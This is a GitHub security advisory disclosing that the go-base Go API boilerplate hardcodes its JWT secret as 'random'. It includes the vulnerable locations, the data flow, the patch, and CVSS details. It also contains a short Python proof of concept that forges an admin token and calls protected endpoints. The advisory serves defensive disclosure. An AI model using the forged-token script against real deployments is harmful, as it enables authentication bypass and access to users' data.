Skip to content

Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery

Critical severity GitHub Reviewed Published May 20, 2026 in dhax/go-base • Updated Jun 10, 2026

Package

gomod github.com/dhax/go-base (Go)

Affected versions

< 0.0.0-20260517152733-cc82b9740fa6

Patched versions

0.0.0-20260517152733-cc82b9740fa6

Description

Vulnerability: CWE-798 — Hardcoded JWT Secret + Broken Mitigation

Affected Component

  • github.com/dhax/go-base — Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun)
  • 1,685 stars on GitHub

Vulnerability Locations

File Line Role
dev.env 10 AUTH_JWT_SECRET=random — template default shipped to all users
cmd/serve.go 35 viper.SetDefault("auth_jwt_secret", "random") — code-level fallback
auth/jwt/tokenauth.go 22-25 Weak mitigation: only checked literal "random", auto-generated non-persistent key
auth/jwt/tokenauth.go 28 jwtauth.New("HS256", []byte(secret), nil) — creates JWT signer with the weak key
pwdless/api.go 203 GenTokenPair() — issues access + refresh tokens signed with the weak key

Data Flow

dev.env AUTH_JWT_SECRET=random
  OR
cmd/serve.go viper.SetDefault("auth_jwt_secret", "random")
    │
    ▼
auth/jwt/tokenauth.go: viper.GetString("auth_jwt_secret")
    │
    ▼
auth/jwt/tokenauth.go: jwtauth.New("HS256", []byte(secret), nil)
    │
    ▼
pwdless/api.go: GenTokenPair() → access + refresh tokens
    │
    ▼
jwt/authenticator.go: Every authenticated request trusts the forged token

Description

The JWT signing secret is hardcoded to the string "random" in two independent locations:

  1. dev.env:10 — The template .env file sets AUTH_JWT_SECRET=random. Every developer who copies this template gets the same default.

  2. cmd/serve.go:35viper.SetDefault("auth_jwt_secret", "random") provides a programmatic fallback. Even if the .env file is missing entirely, the application silently starts with "random" as the signing key.

The original code contained a mitigation in auth/jwt/tokenauth.go:22-25 that checked if the secret equaled "random" and replaced it with a randomly-generated 32-byte string. This mitigation had two fatal flaws:

  • (a) Single-value check: Only the exact string "random" was caught. Any other weak secret (e.g., "secret", "changeme", empty string) passed through unchecked.
  • (b) Non-persistent replacement: The auto-generated key was stored only in memory (randStringBytes(32)), not persisted. On every restart, all existing tokens became invalid without warning, breaking all active user sessions. This made the "fix" itself a denial-of-service.

An attacker who reads the public repository knows the signing key is "random". They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.

Proof of Concept

import jwt
import requests

# The hardcoded secret from dev.env / serve.go (public repository)
SECRET = "random"
BASE_URL = "http://target:3000"

# Step 1: Forge an admin JWT token
payload = {
    "sub": "admin@example.com",
    "roles": ["admin"],
    "iat": 9999999000,
    "exp": 9999999999
}
forged_token = jwt.encode(payload, SECRET, algorithm="HS256")

# Step 2: Access any protected endpoint with the forged token
headers = {"Authorization": f"Bearer {forged_token}"}

# List all users (requires admin)
r = requests.get(f"{BASE_URL}/api/v1/admin/users", headers=headers)
print(f"Status: {r.status_code}")  # 200 OK

# Access own profile with forged identity
r = requests.get(f"{BASE_URL}/api/v1/me", headers=headers)
print(f"Profile: {r.json()}")  # Returns admin@example.com profile

# The forged token is also accepted by refresh endpoints
r = requests.post(f"{BASE_URL}/api/v1/token/refresh", headers=headers)
# Returns a new valid token signed with the same "random" secret

Impact

  • Authentication Bypass: Forge tokens for any user, including admin roles
  • Confidentiality: Access all user data, profiles, and protected resources
  • Integrity: Modify any data accessible via the API
  • Persistence: Forged tokens remain valid until expiry (or indefinitely via refresh)

Fix (PR #31)

The fix replaced the single-value check with a comprehensive approach:

// BEFORE (tokenauth.go:22-25) — weak, single-value check
if secret == "random" {
    secret = randStringBytes(32) // non-persistent, breaks on restart
}

// AFTER — comprehensive known-weak-secrets map
var knownWeakSecrets = map[string]bool{
    "random": true,
    "secret": true,
    "changeme": true,
    "change-me": true,
    "default": true,
    "": true,
}

if knownWeakSecrets[secret] {
    log.Fatal("JWT secret is a known weak value. Please set a strong AUTH_JWT_SECRET.")
}

Plus: minimum 32-character length check, removal of non-persistent auto-generation, and clear generation instructions (openssl rand -base64 32) in the template.

Patched Versions

  • All versions after commit range including PR#31 (merged May 17, 2026).
  • Users should update to the latest master, regenerate their JWT secret, and restart.

Resources

Credit

Reported by @saaa99999999 via manual security audit.

References

@dhax dhax published to dhax/go-base May 20, 2026
Published to the GitHub Advisory Database Jun 10, 2026
Reviewed Jun 10, 2026
Last updated Jun 10, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(27th percentile)

Weaknesses

Use of Hard-coded Credentials

The product contains hard-coded credentials, such as a password or cryptographic key. Learn more on MITRE.

CVE ID

CVE-2026-48031

GHSA ID

GHSA-mqq6-462x-jxmm

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.